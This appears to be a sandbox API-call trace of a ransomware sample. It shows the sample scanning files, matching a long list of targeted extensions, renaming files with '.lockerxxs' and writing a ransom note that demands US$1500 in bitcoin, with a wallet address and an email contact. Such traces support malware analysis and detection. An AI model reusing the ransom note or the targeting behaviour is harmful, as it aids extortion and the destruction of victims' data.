(lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.583] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.583] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.583] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.583] CloseHandle (hObject=0xffffffff) returned 0 [0165.583] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\", lpString2="ApplicationConfigurationPage.cs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs" [0165.583] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.ems") returned 0 [0165.583] lstrlenA (lpString="*.ems") returned 5 [0165.583] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.db") returned 0 [0165.583] lstrlenA (lpString="*.db") returned 4 [0165.583] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.dbf") returned 0 [0165.583] lstrlenA (lpString="*.dbf") returned 5 [0165.584] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.myox") returned 0 [0165.584] lstrlenA (lpString="*.myox") returned 6 [0165.584] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.myo") returned 0 [0165.584] lstrlenA (lpString="*.myo") returned 5 [0165.584] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.qbw") returned 0 [0165.584] lstrlenA (lpString="*.qbw") returned 5 [0165.584] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.qbb") returned 0 [0165.584] lstrlenA (lpString="*.qbb") returned 5 [0165.584] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.qbm") returned 0 [0165.584] lstrlenA (lpString="*.qbm") returned 5 [0165.584] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.qbo") returned 0 [0165.584] lstrlenA (lpString="*.qbo") returned 5 [0165.584] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.qbx") returned 0 [0165.584] lstrlenA (lpString="*.qbx") returned 5 [0165.584] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.qba") returned 0 [0165.584] lstrlenA (lpString="*.qba") returned 5 [0165.584] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.qby") returned 0 [0165.584] lstrlenA (lpString="*.qby") returned 5 [0165.584] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.qbj") returned 0 [0165.585] lstrlenA (lpString="*.qbj") returned 5 [0165.585] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.ofx") returned 0 [0165.585] lstrlenA (lpString="*.ofx") returned 5 [0165.585] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.qif") returned 0 [0165.585] lstrlenA (lpString="*.qif") returned 5 [0165.585] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.mye") returned 0 [0165.585] lstrlenA (lpString="*.mye") returned 5 [0165.585] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.mbox") returned 0 [0165.585] lstrlenA (lpString="*.mbox") returned 6 [0165.585] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.eml") returned 0 [0165.585] lstrlenA (lpString="*.eml") returned 5 [0165.585] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.pst") returned 0 [0165.585] lstrlenA (lpString="*.pst") returned 5 [0165.585] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.ost") returned 0 [0165.585] lstrlenA (lpString="*.ost") returned 5 [0165.585] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.idx") returned 0 [0165.585] lstrlenA (lpString="*.idx") returned 5 [0165.585] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.dbx") returned 0 [0165.585] lstrlenA (lpString="*.dbx") returned 5 [0165.585] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.sql") returned 0 [0165.586] lstrlenA (lpString="*.sql") returned 5 [0165.586] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.mdb") returned 0 [0165.586] lstrlenA (lpString="*.mdb") returned 5 [0165.586] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.fdb") returned 0 [0165.586] lstrlenA (lpString="*.fdb") returned 5 [0165.586] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.wab") returned 0 [0165.586] lstrlenA (lpString="*.wab") returned 5 [0165.586] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.dat") returned 0 [0165.586] lstrlenA (lpString="*.dat") returned 5 [0165.586] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.txt") returned 0 [0165.586] lstrlenA (lpString="*.txt") returned 5 [0165.586] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.jpeg") returned 0 [0165.586] lstrlenA (lpString="*.jpeg") returned 6 [0165.586] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.jpg") returned 0 [0165.586] lstrlenA (lpString="*.jpg") returned 5 [0165.586] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.png") returned 0 [0165.586] lstrlenA (lpString="*.png") returned 5 [0165.587] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.php") returned 0 [0165.587] lstrlenA (lpString="*.php") returned 5 [0165.587] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", pszSpec="*.cs") returned 1 [0165.587] lstrlenA (lpString="*.cs") returned 4 [0165.587] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs" [0165.587] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs" [0165.587] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs", lpString2="." | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs.") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs." [0165.587] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs.lockerxxs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs.lockerxxs" [0165.587] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\applicationconfigurationpage.cs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.587] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf590596, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xaf590596, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9020be03, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x376, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationBar.cs", cAlternateFileName="NAVIGA~1.CS")) returned 1 [0165.587] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.587] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="NavigationBar.cs") returned -1 [0165.587] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="NavigationBar.cs") returned -1 [0165.588] lstrcmpiA (lpString1="", lpString2="NavigationBar.cs") returned -1 [0165.588] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ApplicationConfigurationPage.cs") returned="ApplicationConfigurationPage.cs" [0165.588] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\" [0165.588] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\") returned="" [0165.588] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\HOW TO DECRYPT FILES.txt" [0165.588] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\how to decrypt files.txt")) returned 0xffffffff [0165.588] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.588] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.588] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.588] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.589] CloseHandle (hObject=0xffffffff) returned 0 [0165.589] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\", lpString2="NavigationBar.cs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs" [0165.589] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.ems") returned 0 [0165.589] lstrlenA (lpString="*.ems") returned 5 [0165.589] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.db") returned 0 [0165.589] lstrlenA (lpString="*.db") returned 4 [0165.589] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.dbf") returned 0 [0165.589] lstrlenA (lpString="*.dbf") returned 5 [0165.589] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.myox") returned 0 [0165.589] lstrlenA (lpString="*.myox") returned 6 [0165.589] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.myo") returned 0 [0165.589] lstrlenA (lpString="*.myo") returned 5 [0165.589] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.qbw") returned 0 [0165.589] lstrlenA (lpString="*.qbw") returned 5 [0165.589] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.qbb") returned 0 [0165.589] lstrlenA (lpString="*.qbb") returned 5 [0165.590] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.qbm") returned 0 [0165.590] lstrlenA (lpString="*.qbm") returned 5 [0165.590] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.qbo") returned 0 [0165.590] lstrlenA (lpString="*.qbo") returned 5 [0165.590] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.qbx") returned 0 [0165.590] lstrlenA (lpString="*.qbx") returned 5 [0165.590] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.qba") returned 0 [0165.590] lstrlenA (lpString="*.qba") returned 5 [0165.590] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.qby") returned 0 [0165.590] lstrlenA (lpString="*.qby") returned 5 [0165.590] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.qbj") returned 0 [0165.590] lstrlenA (lpString="*.qbj") returned 5 [0165.590] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.ofx") returned 0 [0165.590] lstrlenA (lpString="*.ofx") returned 5 [0165.590] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.qif") returned 0 [0165.591] lstrlenA (lpString="*.qif") returned 5 [0165.591] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.mye") returned 0 [0165.591] lstrlenA (lpString="*.mye") returned 5 [0165.591] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.mbox") returned 0 [0165.591] lstrlenA (lpString="*.mbox") returned 6 [0165.591] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.eml") returned 0 [0165.591] lstrlenA (lpString="*.eml") returned 5 [0165.591] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.pst") returned 0 [0165.591] lstrlenA (lpString="*.pst") returned 5 [0165.591] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.ost") returned 0 [0165.591] lstrlenA (lpString="*.ost") returned 5 [0165.591] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.idx") returned 0 [0165.591] lstrlenA (lpString="*.idx") returned 5 [0165.591] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.dbx") returned 0 [0165.592] lstrlenA (lpString="*.dbx") returned 5 [0165.592] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.sql") returned 0 [0165.592] lstrlenA (lpString="*.sql") returned 5 [0165.592] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.mdb") returned 0 [0165.592] lstrlenA (lpString="*.mdb") returned 5 [0165.592] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.fdb") returned 0 [0165.592] lstrlenA (lpString="*.fdb") returned 5 [0165.592] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.wab") returned 0 [0165.592] lstrlenA (lpString="*.wab") returned 5 [0165.592] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.dat") returned 0 [0165.592] lstrlenA (lpString="*.dat") returned 5 [0165.592] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.txt") returned 0 [0165.592] lstrlenA (lpString="*.txt") returned 5 [0165.593] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.jpeg") returned 0 [0165.593] lstrlenA (lpString="*.jpeg") returned 6 [0165.593] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.jpg") returned 0 [0165.593] lstrlenA (lpString="*.jpg") returned 5 [0165.593] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.png") returned 0 [0165.593] lstrlenA (lpString="*.png") returned 5 [0165.593] PathMatchSpecA 